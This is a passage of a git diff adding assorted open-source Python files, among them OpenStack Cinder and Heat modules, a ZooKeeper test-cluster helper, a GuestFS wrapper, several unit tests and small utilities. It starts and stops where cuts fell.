self._view_builder.create(req, + dict(new_transfer)) + return transfer + + @wsgi.response(http_client.ACCEPTED) + @validation.schema(volume_transfer.accept) + def accept(self, req, id, body): + """Accept a new volume transfer.""" + transfer_id = id + LOG.debug('Accepting volume transfer %s', transfer_id) + + context = req.environ['cinder.context'] + accept = body['accept'] + auth_key = accept['auth_key'] + + LOG.info("Accepting transfer %s", transfer_id) + + try: + accepted_transfer = self.transfer_api.accept(context, transfer_id, + auth_key) + except exception.VolumeSizeExceedsAvailableQuota as error: + raise exc.HTTPRequestEntityTooLarge( + explanation=error.msg, headers={'Retry-After': '0'}) + except exception.InvalidVolume as error: + raise exc.HTTPBadRequest(explanation=error.msg) + + transfer = \ + self._view_builder.summary(req, + dict(accepted_transfer)) + return transfer + + def delete(self, req, id): + """Delete a transfer.""" + context = req.environ['cinder.context'] + + LOG.info("Delete transfer with id: %s", id) + + # Not found exception will be handled at the wsgi level + self.transfer_api.delete(context, transfer_id=id) + return webob.Response(status_int=http_client.ACCEPTED) + + +class Volume_transfer(extensions.ExtensionDescriptor): + """Volume transfer management support.""" + + name = "VolumeTransfer" + alias = "os-volume-transfer" + updated = "2013-05-29T00:00:00+00:00" + + def get_resources(self): + resources = [] + + res = extensions.ResourceExtension(Volume_transfer.alias, + VolumeTransferController(), + collection_actions={'detail': + 'GET'}, + member_actions={'accept': 'POST'}) + resources.append(res) + return resources diff --git a/pool/shard009/Python/0082896_common.py b/pool/shard009/Python/0082896_common.py new file mode 100644 index 0000000000000000000000000000000000000000..2b2ed6db3ae273d3f4136f2a994174b5fc35560c --- /dev/null +++ b/pool/shard009/Python/0082896_common.py @@ -0,0 +1,241 @@ +# +# Copyright (C) 2010-2011, 2011 Canonical Ltd. All Rights Reserved +# +# This file is part of txzookeeper. +# +# Authors: +# Kapil Thangavelu +# +# txzookeeper is free software: you can redistribute it and/or modify +# it under the terms of the GNU Lesser General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# txzookeeper is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public License +# along with txzookeeper. If not, see . +# + + +import os +import os.path +import shutil +import subprocess +import tempfile + +from itertools import chain +from collections import namedtuple +from glob import glob + + +ServerInfo = namedtuple( + "ServerInfo", "server_id client_port election_port leader_port") + + +class ManagedZooKeeper(object): + """Class to manage the running of a ZooKeeper instance for testing. + + Note: no attempt is made to probe the ZooKeeper instance is + actually available, or that the selected port is free. In the + future, we may want to do that, especially when run in a + Hudson/Buildbot context, to ensure more test robustness.""" + + def __init__(self, software_path, server_info, peers=()): + """Define the ZooKeeper test instance. + + @param install_path: The path to the install for ZK + @param port: The port to run the managed ZK instance + """ + self.install_path = software_path + self.server_info = server_info + self.host = "127.0.0.1" + self.peers = peers + self.working_path = tempfile.mkdtemp() + self._running = False + + def run(self): + """Run the ZooKeeper instance under a temporary directory. + + Writes ZK log messages to zookeeper.log in the current directory. + """ + config_path = os.path.join(self.working_path, "zoo.cfg") + log_path = os.path.join(self.working_path, "log") + log4j_path = os.path.join(self.working_path, "log4j.properties") + data_path = os.path.join(self.working_path, "data") + + # various setup steps + if not os.path.exists(self.working_path): + os.mkdir(self.working_path) + if not os.path.exists(log_path): + os.mkdir(log_path) + if not os.path.exists(data_path): + os.mkdir(data_path) + + with open(config_path, "w") as config: + config.write(""" +tickTime=1000 +dataDir=%s +clientPort=%s +maxClientCnxns=0 +maxSessionTimeout=5000 +minSessionTimeout=2000 +""" % (data_path, self.server_info.client_port)) + + # setup a replicated setup if peers are specified + if self.peers: + servers_cfg = [] + for p in chain((self.server_info,), self.peers): + servers_cfg.append("server.%s=localhost:%s:%s" % ( + p.server_id, p.leader_port, p.election_port)) + + with open(config_path, "a") as config: + config.write(""" +initLimit=4 +syncLimit=2 +%s +""" % ("\n".join(servers_cfg))) + + # Write server ids into datadir + with open(os.path.join(data_path, "myid"), "w") as myid_file: + myid_file.write(str(self.server_info.server_id)) + + with open(log4j_path, "w") as log4j: + log4j.write(""" +# DEFAULT: console appender only +log4j.rootLogger=INFO, ROLLINGFILE +log4j.appender.ROLLINGFILE.layout=org.apache.log4j.PatternLayout +log4j.appender.ROLLINGFILE.layout.ConversionPattern=%d{ISO8601} [myid:%X{myid}] - %-5p [%t:%C{1}@%L] - %m%n +log4j.appender.ROLLINGFILE=org.apache.log4j.RollingFileAppender +log4j.appender.ROLLINGFILE.Threshold=DEBUG +log4j.appender.ROLLINGFILE.File=""" + ( + self.working_path + os.sep + "zookeeper.log\n")) + + self.process = subprocess.Popen( + args=["java", + "-cp", self.classpath, + "-Dzookeeper.log.dir=%s" % log_path, + "-Dzookeeper.root.logger=INFO,CONSOLE", + "-Dlog4j.configuration=file:%s" % log4j_path, + # "-Dlog4j.debug", + "org.apache.zookeeper.server.quorum.QuorumPeerMain", + config_path], + ) + self._running = True + + @property + def classpath(self): + """Get the classpath necessary to run ZooKeeper.""" + + # Two possibilities, as seen in zkEnv.sh: + # Check for a release - top-level zookeeper-*.jar? + jars = glob((os.path.join( + self.install_path, 'zookeeper-*.jar'))) + if jars: + # Relase build (`ant package`) + jars.extend(glob(os.path.join( + self.install_path, + "lib/*.jar"))) + else: + # Development build (plain `ant`) + jars = glob((os.path.join( + self.install_path, 'build/zookeeper-*.jar'))) + jars.extend(glob(os.path.join( + self.install_path, + "build/lib/*.jar"))) + return ":".join(jars) + + @property + def address(self): + """Get the address of the ZooKeeper instance.""" + return "%s:%s" % (self.host, self.client_port) + + @property + def running(self): + return self._running + + @property + def client_port(self): + return self.server_info.client_port + + def reset(self): + """Stop the zookeeper instance, cleaning out its on disk-data.""" + self.stop() + shutil.rmtree(os.path.join(self.working_path, "data")) + os.mkdir(os.path.join(self.working_path, "data")) + with open(os.path.join(self.working_path, "data", "myid"), "w") as fh: + fh.write(str(self.server_info.server_id)) + + def stop(self): + """Stop the Zookeeper instance, retaining on disk state.""" + if not self._running: + return + self.process.terminate() + self.process.wait() + self._running = False + + def destroy(self): + """Stop the ZooKeeper instance and destroy its on disk-state""" + # called by at exit handler, reimport to avoid cleanup race. + import shutil + self.stop() + + shutil.rmtree(self.working_path) + + +class ZookeeperCluster(object): + + def __init__(self, install_path, size=3, port_offset=20000): + self._install_path = install_path + self._servers = [] + + # Calculate ports and peer group + port = port_offset + peers = [] + + for i in range(size): + port += i * 10 + info = ServerInfo(i + 1, port, port + 1, port + 2) + peers.append(info) + + # Instantiate Managed ZK Servers + for i in range(size): + server_peers = list(peers) + server_info = server_peers.pop(i) + self._servers.append( + ManagedZooKeeper( + self._install_path, server_info, server_peers)) + + def __getitem__(self, k): + return self._servers[k] + + def __iter__(self): + return iter(self._servers) + + def start(self): + # Zookeeper client expresses a preference for either lower ports or + # lexographical ordering of hosts, to ensure that all servers have a + # chance to startup, start them in reverse order. + for server in reversed(list(self)): + server.run() + # Giving the servers a moment to start, decreases the overall time + # required for a client to successfully connect (2s vs. 4s without + # the sleep). + import time + time.sleep(2) + + def stop(self): + for server in self: + server.stop() + self._servers = [] + + def terminate(self): + for server in self: + server.destroy() + + def reset(self): + for server in self: + server.reset() diff --git a/pool/shard009/Python/0082897_wait_condition_handle.py b/pool/shard009/Python/0082897_wait_condition_handle.py new file mode 100644 index 0000000000000000000000000000000000000000..c897dca1ffc5c42bf3d22844a65703a7b0224768 --- /dev/null +++ b/pool/shard009/Python/0082897_wait_condition_handle.py @@ -0,0 +1,151 @@ +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import uuid + +from heat.common.i18n import _ +from heat.engine import attributes +from heat.engine import resource +from heat.engine.resources.aws.cfn import wait_condition_handle as aws_wch +from heat.engine.resources import wait_condition as wc_base +from heat.engine import support + + +class HeatWaitConditionHandle(wc_base.BaseWaitConditionHandle): + + support_status = support.SupportStatus(version='2014.2') + + METADATA_KEYS = ( + DATA, REASON, STATUS, UNIQUE_ID + ) = ( + 'data', 'reason', 'status', 'id' + ) + + ATTRIBUTES = ( + TOKEN, + ENDPOINT, + CURL_CLI, + ) = ( + 'token', + 'endpoint', + 'curl_cli', + ) + + attributes_schema = { + TOKEN: attributes.Schema( + _('Token for stack-user which can be used for signalling handle'), + cache_mode=attributes.Schema.CACHE_NONE, + type=attributes.Schema.STRING + ), + ENDPOINT: attributes.Schema( + _('Endpoint/url which can be used for signalling handle'), + cache_mode=attributes.Schema.CACHE_NONE, + type=attributes.Schema.STRING + ), + CURL_CLI: attributes.Schema( + _('Convenience attribute, provides curl CLI command ' + 'prefix, which can be used for signalling handle completion or ' + 'failure. You can signal success by adding ' + '--data-binary \'{"status": "SUCCESS"}\' ' + ', or signal failure by adding ' + '--data-binary \'{"status": "FAILURE"}\''), + cache_mode=attributes.Schema.CACHE_NONE, + type=attributes.Schema.STRING + ), + } + + def handle_create(self): + self.password = uuid.uuid4().hex + super(HeatWaitConditionHandle, self).handle_create() + # FIXME(shardy): The assumption here is that token expiry > timeout + # but we probably need a check here to fail fast if that's not true + # Also need to implement an update property, such that the handle + # can be replaced on update which will replace the token + token = self._user_token() + self.data_set('token', token, True) + self.data_set('endpoint', '%s/signal' % self._get_resource_endpoint()) + + def _get_resource_endpoint(self): + # Get the endpoint from stack.clients then replace the context + # project_id with the path to the resource (which includes the + # context project_id), then replace the context project with + # the one needed for signalling from the stack_user_project + heat_client_plugin = self.stack.clients.client_plugin('heat') + endpoint = heat_client_plugin.get_heat_url() + rsrc_ep = endpoint.replace(self.context.tenant_id, + self.identifier().url_path()) + return rsrc_ep.replace(self.context.tenant_id, + self.stack.stack_user_project_id) + + def _resolve_attribute(self, key): + if self.resource_id: + if key == self.TOKEN: + return self.data().get('token') + elif key == self.ENDPOINT: + return self.data().get('endpoint') + elif key == self.CURL_CLI: + # Construct curl command for template-author convenience + return ("curl -i -X POST " + "-H 'X-Auth-Token: %(token)s' " + "-H 'Content-Type: application/json' " + "-H 'Accept: application/json' " + "%(endpoint)s" % + dict(token=self.data().get('token'), + endpoint=self.data().get('endpoint'))) + + def handle_signal(self, details=None): + ''' + Validate and update the resource metadata. + metadata is not mandatory, but if passed it must use the following + format: + { + "status" : "Status (must be SUCCESS or FAILURE)", + "data" : "Arbitrary data", + "reason" : "Reason string" + } + Optionally "id" may also be specified, but if missing the index + of the signal received will be used. + ''' + rsrc_metadata = self.metadata_get(refresh=True) + signal_num = len(rsrc_metadata) + 1 + reason = 'Signal %s received' % signal_num + # Tolerate missing values, default to success + metadata = details or {} + metadata.setdefault(self.REASON, reason) + metadata.setdefault(self.DATA, None) + metadata.setdefault(self.UNIQUE_ID, signal_num) + metadata.setdefault(self.STATUS, self.STATUS_SUCCESS) + return super(HeatWaitConditionHandle, self).handle_signal(metadata) + + +class UpdateWaitConditionHandle(aws_wch.WaitConditionHandle): + ''' + This works identically to a regular WaitConditionHandle, except that + on update it clears all signals received and changes the handle. Using + this handle means that you must setup the signal senders to send their + signals again any time the update handle changes. This allows us to roll + out new configurations and be confident that they are rolled out once + UPDATE COMPLETE is reached. + ''' + + support_status = support.SupportStatus(version='2014.1') + + def update(self, after, before=None, prev_resource=None): + raise resource.UpdateReplace(self.name) + + +def resource_mapping(): + return { + 'OS::Heat::WaitConditionHandle': HeatWaitConditionHandle, + 'OS::Heat::UpdateWaitConditionHandle': UpdateWaitConditionHandle, + } diff --git a/pool/shard009/Python/0082898_GuestFSManager.py b/pool/shard009/Python/0082898_GuestFSManager.py new file mode 100644 index 0000000000000000000000000000000000000000..c7802b878a08f676ced521419d56984564697e42 --- /dev/null +++ b/pool/shard009/Python/0082898_GuestFSManager.py @@ -0,0 +1,258 @@ +# Copyright (C) 2017 Chris Lalancette + +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; +# version 2.1 of the License. + +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. + +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + +""" +Helper class for managing a GuestFS connection +""" + +import functools +import logging + +import guestfs + +import lxml.etree + +import oz.OzException + + +class GuestFS(object): + ''' + A wrapper class over guestfs to make some common operations easier. + ''' + def __init__(self, input_disk, input_disk_type): + self.log = logging.getLogger(__name__) + + self.g_handle = guestfs.GuestFS(python_return_dict=True) + + self.log.debug("Adding disk image %s", input_disk) + # NOTE: we use "add_drive_opts" here so we can specify the type + # of the diskimage. Otherwise it might be possible for an attacker + # to fool libguestfs with a specially-crafted diskimage that looks + # like a qcow2 disk (thanks to rjones for the tip) + self.g_handle.add_drive_opts(input_disk, format=input_disk_type) + + self.log.debug("Launching guestfs") + self.g_handle.launch() + + def create_msdos_partition_table(self): + ''' + A method to create a new msdos partition table on a disk. + ''' + devices = self.g_handle.list_devices() + self.g_handle.part_init(devices[0], "msdos") + self.g_handle.part_add(devices[0], 'p', 1, 2) + + def mount_partitions(self): + ''' + A method to mount existing partitions on a disk inside of guestfs. + ''' + self.log.debug("Inspecting guest OS") + roots = self.g_handle.inspect_os() + + if not roots: + raise oz.OzException.OzException("No operating systems found on the disk") + + self.log.debug("Getting mountpoints") + already_mounted = {} + for root in roots: + self.log.debug("Root device: %s", root) + + # the problem here is that the list of mountpoints returned by + # inspect_get_mountpoints is in no particular order. So if the + # diskimage contains /usr and /usr/local on different devices, + # but /usr/local happened to come first in the listing, the + # devices would get mapped improperly. The clever solution here is + # to sort the mount paths by length; this will ensure that they + # are mounted in the right order. Thanks to rjones for the hint, + # and the example code that comes from the libguestfs.org python + # example page. + mps = self.g_handle.inspect_get_mountpoints(root) + + for device in sorted(mps.keys(), key=len): + try: + # Here we check to see if the device was already mounted. + # If it was, we skip over this mountpoint and go to the + # next one. This can happen, for instance, on btrfs volumes + # with snapshots. In that case, we'll always take the + # "original" backing filesystem, and not the snapshots, + # which seems to work in practice. + if already_mounted[device] == mps[device]: + continue + except KeyError: + # If we got a KeyError exception, we know that we haven't + # yet mounted this filesystem, so continue on. + pass + + try: + self.g_handle.mount_options('', mps[device], device) + already_mounted[device] = mps[device] + except Exception: + if device == '/': + # If we cannot mount root, we may as well give up + raise + else: + # some custom guests may have fstab content with + # "nofail" as a mount option. For example, images + # built for EC2 with ephemeral mappings. These + # fail at this point. Allow things to continue. + # Profound failures will trigger later on during + # the process. + self.log.warning("Unable to mount (%s) on (%s) - trying to continue", mps[device], device) + + def remove_if_exists(self, path): + """ + Method to remove a file if it exists in the disk image. + """ + if self.g_handle.exists(path): + self.g_handle.rm_rf(path) + + def move_if_exists(self, orig_path, replace_path): + """ + Method to move a file if it exists in the disk image. + """ + if self.g_handle.exists(orig_path): + self.g_handle.mv(orig_path, replace_path) + + def path_backup(self, orig): + """ + Method to backup a file in the disk image. + """ + self.move_if_exists(orig, orig + ".ozbackup") + + def path_restore(self, orig): + """ + Method to restore a backup file in the disk image. + """ + backup = orig + ".ozbackup" + self.remove_if_exists(orig) + self.move_if_exists(backup, orig) + + def exists(self, filename): + ''' + A passthrough method for the guestfs functionality of "exists". + ''' + return self.g_handle.exists(filename) + + def rm(self, filename): + ''' + A passthrough method for the guestfs functionality of "rm". + ''' + return self.g_handle.rm(filename) + + def glob_expand(self, glob): + ''' + A passthrough method for the guestfs functionality of "glob_expand". + ''' + return self.g_handle.glob_expand(glob) + + def mkdir(self, directory): + ''' + A passthrough method for the guestfs functionality of "mkdir". + ''' + return self.g_handle.mkdir(directory) + + def ln_sf(self, src, dst): + ''' + A passthrough method for the guestfs functionality of "ln_sf". + ''' + return self.g_handle.ln_sf(src, dst) + + def chmod(self, mode, fname): + ''' + A passthrough method for the guestfs functionality of "chmod". + ''' + return self.g_handle.chmod(mode, fname) + + def cat(self, fname): + ''' + A passthrough method for the guestfs functionality of "cat". + ''' + return self.g_handle.cat(fname) + + def upload(self, src, dest): + ''' + A passthrough method for the guestfs functionalityh of "upload". + ''' + return self.g_handle.upload(src, dest) + + def cleanup(self): + ''' + A method to cleanup after finishing with a guestfs handle. + ''' + self.log.info("Cleaning up guestfs handle") + self.log.debug("Syncing") + self.g_handle.sync() + + self.log.debug("Unmounting all") + self.g_handle.umount_all() + self.g_handle.kill_subprocess() + self.g_handle.close() + + +def GuestFSLibvirtFactory(libvirt_xml, libvirt_conn): + ''' + A factory function for getting a GuestFS object from a libvirt XML and a connection. + ''' + log = logging.getLogger(__name__) + + input_doc = lxml.etree.fromstring(libvirt_xml) + namenode = input_doc.xpath('/domain/name') + if len(namenode) != 1: + raise oz.OzException.OzException("invalid libvirt XML with no name") + input_name = namenode[0].text + disks = input_doc.xpath('/domain/devices/disk') + if len(disks) != 1: + log.warning("Oz given a libvirt domain with more than 1 disk; using the first one parsed") + source = disks[0].xpath('source') + if len(source) != 1: + raise oz.OzException.OzException("invalid entry without a source") + input_disk = source[0].get('file') + driver = disks[0].xpath('driver') + if not driver: + input_disk_type = 'raw' + elif len(driver) == 1: + input_disk_type = driver[0].get('type') + else: + raise oz.OzException.OzException("invalid entry without a driver") + + for domid in libvirt_conn.listDomainsID(): + try: + doc = lxml.etree.fromstring(libvirt_conn.lookupByID(domid).XMLDesc(0)) + except Exception: + log.debug("Could not get XML for domain ID (%s) - it may have disappeared (continuing)", + domid) + continue + + namenode = doc.xpath('/domain/name') + if len(namenode) != 1: + # hm, odd, a domain without a name? + raise oz.OzException.OzException("Saw a domain without a name, something weird is going on") + if input_name == namenode[0].text: + raise oz.OzException.OzException("Cannot setup ICICLE generation on a running guest") + disks = doc.xpath('/domain/devices/disk') + if len(disks) < 1: + # odd, a domain without a disk, but don't worry about it + continue + for guestdisk in disks: + for source in guestdisk.xpath("source"): + # FIXME: this will only work for files; we can make it work + # for other things by following something like: + # http://git.annexia.org/?p=libguestfs.git;a=blob;f=src/virt.c;h=2c6be3c6a2392ab8242d1f4cee9c0d1445844385;hb=HEAD#l169 + filename = str(source.get('file')) + if filename == input_disk: + raise oz.OzException.OzException("Cannot setup ICICLE generation on a running disk") + + return GuestFS(input_disk, input_disk_type) diff --git a/pool/shard009/Python/0082902_test_sampling_id_op.py b/pool/shard009/Python/0082902_test_sampling_id_op.py new file mode 100644 index 0000000000000000000000000000000000000000..674ef2ddf44edb4246c9d952cb75b36fe3d6ddc8 --- /dev/null +++ b/pool/shard009/Python/0082902_test_sampling_id_op.py @@ -0,0 +1,61 @@ +# Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + +import unittest +import numpy as np +from op_test import OpTest + +import paddle.fluid.core as core +from paddle.fluid.op import Operator + + +class TestSamplingIdOp(OpTest): + def setUp(self): + self.op_type = "sampling_id" + self.use_mkldnn = False + self.init_kernel_type() + self.X = np.random.random((100, 10)).astype('float32') + self.inputs = {"X": self.X} + self.Y = np.random.random(100).astype('int64') + self.outputs = {'Out': self.Y} + self.attrs = {'max': 1.0, 'min': 0.0, 'seed': 1} + + def test_check_output(self): + self.check_output_customized(self.verify_output) + y1 = self.out + self.check_output_customized(self.verify_output) + y2 = self.out + + # check dtype + assert y1.dtype == np.int64 + assert y2.dtype == np.int64 + + # check output is index ids of inputs + inputs_ids = np.arange(self.X.shape[1]) + assert np.isin(y1, inputs_ids).all() + assert np.isin(y2, inputs_ids).all() + + self.assertTrue(np.array_equal(y1, y2)) + self.assertEqual(len(y1), len(self.Y)) + + def verify_output(self, outs): + out = np.array(outs[0]) + self.out = out + + def init_kernel_type(self): + pass + + +if __name__ == "__main__": + unittest.main() diff --git a/pool/shard009/Python/0082903_guestagent_utils.py b/pool/shard009/Python/0082903_guestagent_utils.py new file mode 100644 index 0000000000000000000000000000000000000000..ddfb9425b5e7cb0346d10400cb26531553c84e5f --- /dev/null +++ b/pool/shard009/Python/0082903_guestagent_utils.py @@ -0,0 +1,120 @@ +# Copyright 2015 Tesora Inc. +# All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. + +import collections +import os +import re + + +def update_dict(updates, target): + """Recursively update a target dictionary with given updates. + + Updates are provided as a dictionary of key-value pairs + where a value can also be a nested dictionary in which case + its key is treated as a sub-section of the outer key. + If a list value is encountered the update is applied + iteratively on all its items. + + :returns: Will always return a dictionary of results (may be empty). + """ + if target is None: + target = {} + + if isinstance(target, list): + for index, item in enumerate(target): + target[index] = update_dict(updates, item) + return target + + if updates is not None: + for k, v in updates.iteritems(): + if isinstance(v, collections.Mapping): + target[k] = update_dict(v, target.get(k, {})) + else: + target[k] = updates[k] + + return target + + +def expand_dict(target, namespace_sep='.'): + """Expand a flat dict to a nested one. + This is an inverse of 'flatten_dict'. + + :seealso: flatten_dict + """ + nested = {} + for k, v in target.items(): + sub = nested + keys = k.split(namespace_sep) + for key in keys[:-1]: + sub = sub.setdefault(key, {}) + sub[keys[-1]] = v + + return nested + + +def flatten_dict(target, namespace_sep='.'): + """Flatten a nested dict. + Return a one-level dict with all sub-level keys joined by a namespace + separator. + + The following nested dict: + {'ns1': {'ns2a': {'ns3a': True, 'ns3b': False}, 'ns2b': 10}} + + would be flattened to: + {'ns1.ns2a.ns3a': True, 'ns1.ns2a.ns3b': False, 'ns1.ns2b': 10} + """ + def flatten(target, keys, namespace_sep): + flattened = {} + if isinstance(target, collections.Mapping): + for k, v in target.items(): + flattened.update( + flatten(v, keys + [k], namespace_sep)) + else: + ns = namespace_sep.join(keys) + flattened[ns] = target + + return flattened + + return flatten(target, [], namespace_sep) + + +def build_file_path(base_dir, base_name, *extensions): + """Build a path to a file in a given directory. + The file may have an extension(s). + + :returns: Path such as: 'base_dir/base_name.ext1.ext2.ext3' + """ + file_name = os.extsep.join([base_name] + list(extensions)) + return os.path.expanduser(os.path.join(base_dir, file_name)) + + +def to_bytes(value): + """Convert numbers with a byte suffix to bytes. + """ + if isinstance(value, basestring): + pattern = re.compile('^(\d+)([K,M,G]{1})$') + match = pattern.match(value) + if match: + value = match.group(1) + suffix = match.group(2) + factor = { + 'K': 1024, + 'M': 1024 ** 2, + 'G': 1024 ** 3, + }[suffix] + + return str(int(round(factor * float(value)))) + + return value diff --git a/pool/shard009/Python/0082904_test_checkout_forms.py b/pool/shard009/Python/0082904_test_checkout_forms.py new file mode 100644 index 0000000000000000000000000000000000000000..4ae14bc24cd9add61639bee50452cc9c8d1ac1e9 --- /dev/null +++ b/pool/shard009/Python/0082904_test_checkout_forms.py @@ -0,0 +1,61 @@ +from django.test import TestCase + +from apps.checkout import forms +from oscar.apps.address import models + + +class TestBillingAddressForm(TestCase): + + def setUp(self): + models.Country.objects.create( + iso_3166_1_a2='GB', name="Great Britain") + + def test_selecting_same_as_shipping_is_valid_with_no_billing_address_data(self): + data = { + 'same_as_shipping': 'same', + 'first_name': '', + 'last_name': '', + 'line1': '', + 'line2': '', + 'line3': '', + 'line4': '', + 'postcode': '', + 'state': '', + 'country': 'GB' + } + form = forms.BillingAddressForm(data=data) + self.assertTrue( + form.is_valid(), "Form invalid due to %r" % form.errors) + + def test_selecting_same_as_shipping_is_valid(self): + data = { + 'same_as_shipping': 'same', + 'first_name': 'test', + 'last_name': 'test', + 'line1': 'test', + 'line2': 'test', + 'line3': 'test', + 'line4': 'test', + 'postcode': 'test', + 'state': '', + 'country': 'GB' + } + form = forms.BillingAddressForm(data=data) + self.assertTrue( + form.is_valid(), "Form invalid due to %r" % form.errors) + + def test_selecting_manual_validate_address(self): + data = { + 'same_as_shipping': 'new', + 'first_name': 'test', + 'last_name': 'test', + 'line1': 'test', + 'line2': 'test', + 'line3': 'test', + 'line4': 'test', + 'postcode': 'test', + 'state': '', + 'country': 'GB' + } + form = forms.BillingAddressForm(data=data) + self.assertFalse(form.is_valid()) diff --git a/pool/shard009/Python/0082906_conftest.py b/pool/shard009/Python/0082906_conftest.py new file mode 100644 index 0000000000000000000000000000000000000000..cc4f717bcc7960773d229908ee80c9f0149a3a3a --- /dev/null +++ b/pool/shard009/Python/0082906_conftest.py @@ -0,0 +1,47 @@ +import pytest +from pytest_bdd import given +import journal +from sqlalchemy import create_engine +import os + +TEST_DATABASE_URL = os.environ.get( + 'DATABASE_URL', + 'postgresql://meslater:@localhost:5432/test-learning-journal') +os.environ['DATABASE_URL'] = TEST_DATABASE_URL + + +@pytest.fixture() +def app(db_session): + from journal import main + from webtest import TestApp + app = main() + return TestApp(app) + + +@pytest.fixture(scope='session') +def connection(request): + engine = create_engine(TEST_DATABASE_URL) + journal.Base.metadata.create_all(engine) + connection = engine.connect() + journal.DBSession.registry.clear() + journal.DBSession.configure(bind=connection) + journal.Base.metadata.bind = engine + request.addfinalizer(journal.Base.metadata.drop_all) + return connection + + +@pytest.fixture() +def db_session(request, connection): + from transaction import abort + trans = connection.begin() + request.addfinalizer(trans.rollback) + request.addfinalizer(abort) + + from journal import DBSession + return DBSession + + +@pytest.fixture() +def homepage(app): + response = app.get('/') + return response diff --git a/pool/shard009/Python/0082907_fetch_measure_finance.py b/pool/shard009/Python/0082907_fetch_measure_finance.py new file mode 100644 index 0000000000000000000000000000000000000000..9b8d087ac698108efc11dd5f5438547891bb1de5 --- /dev/null +++ b/pool/shard009/Python/0082907_fetch_measure_finance.py @@ -0,0 +1,15 @@ +from django.conf import settings +from django.core.management.base import BaseCommand +import time +import datetime +import logging +from measure_finance.manager_fetch_cash_money import BuildDonationCharts + +logger = logging.getLogger("kpcc_backroom_handshakes") + +class Command(BaseCommand): + help = "Begin request to maplight for latest ballot measure donations" + def handle(self, *args, **options): + task_run = BuildDonationCharts() + task_run._init() + self.stdout.write("\nTask finished at %s\n" % str(datetime.datetime.now())) diff --git a/pool/shard009/Python/0082911_abc146_f.py b/pool/shard009/Python/0082911_abc146_f.py new file mode 100644 index 0000000000000000000000000000000000000000..db5f44a9d22760ba3b23ce76ebdb91ed54ec0f6b --- /dev/null +++ b/pool/shard009/Python/0082911_abc146_f.py @@ -0,0 +1,22 @@ +N, M = map(int, input().split()) +S = [int(i) for i in input()] +S.reverse() + +x = 0 +respuesta = [] +condicion = True +while condicion: + paso = x+M + if paso >= N: + respuesta.append(N-x) + condicion = False + else: + while S[paso]: + paso -= 1 + if paso == x: + respuesta = [-1] + break + respuesta.append(paso-x) + x = paso +respuesta.reverse() +print(*respuesta) \ No newline at end of file diff --git a/pool/shard009/Python/0082912_twistedserver_echojson.py b/pool/shard009/Python/0082912_twistedserver_echojson.py new file mode 100644 index 0000000000000000000000000000000000000000..f454813948ed113fbec68a68571ad8ed84b4bf38 --- /dev/null +++ b/pool/shard009/Python/0082912_twistedserver_echojson.py @@ -0,0 +1,16 @@ +from twisted.internet import reactor +from rackattack.tcp import transportserver +import sys +import simplejson + + +class Server: + def handle(self, string, respondCallback, peer): + obj = simplejson.loads(string) + respondCallback(simplejson.dumps(["Echoing", obj])) + + +server = Server() +factory = transportserver.TransportFactory(server.handle) +reactor.listenTCP(int(sys.argv[1]), factory) +reactor.run() diff --git a/pool/shard009/Python/0082916_setup.py b/pool/shard009/Python/0082916_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..8c1876abe2d8e101bb48679e7f5ab792eb1506bd --- /dev/null +++ b/pool/shard009/Python/0082916_setup.py @@ -0,0 +1,71 @@ +#from setuptools import setup +from distutils.core import setup +from distutils.command.install_data import install_data +from distutils.command.install import INSTALL_SCHEMES +import os +import sys + +def fullsplit(path, result=None): + """ + Split a pathname into components (the opposite of os.path.join) in a + platform-neutral way. + """ + if result is None: + result = [] + head, tail = os.path.split(path) + if head == '': + return [tail] + result + if head == path: + return result + return fullsplit(head, [tail] + result) + +# Tell distutils to put the data_files in platform-specific installation +# locations. See here for an explanation: +# http://groups.google.com/group/comp.lang.python/browse_thread/thread/35ec7b2fed36eaec/2105ee4d9e8042cb +for scheme in INSTALL_SCHEMES.values(): + scheme['data'] = scheme['purelib'] + +# Compile the list of packages available, because distutils doesn't have +# an easy way to do this. +packages, data_files = [], [] +root_dir = os.path.dirname(__file__) +cur_dir = os.path.abspath(os.getcwd()) +#if root_dir != '': +os.chdir("src") + +for dirpath, dirnames, filenames in os.walk("."): + if ".egg" in dirpath: continue + # Ignore dirnames that start with '.' + for i, dirname in enumerate(dirnames): + if dirname.startswith('.'): del dirnames[i] + if '__init__.py' in filenames: + packages.append('.'.join(fullsplit(dirpath))) + elif filenames: + data_files.append([dirpath, [os.path.join("src", dirpath, f) for f in filenames]]) + +os.chdir(cur_dir) +# Small hack for working with bdist_wininst. +# See http://mail.python.org/pipermail/distutils-sig/2004-August/004134.html +if len(sys.argv) > 1 and 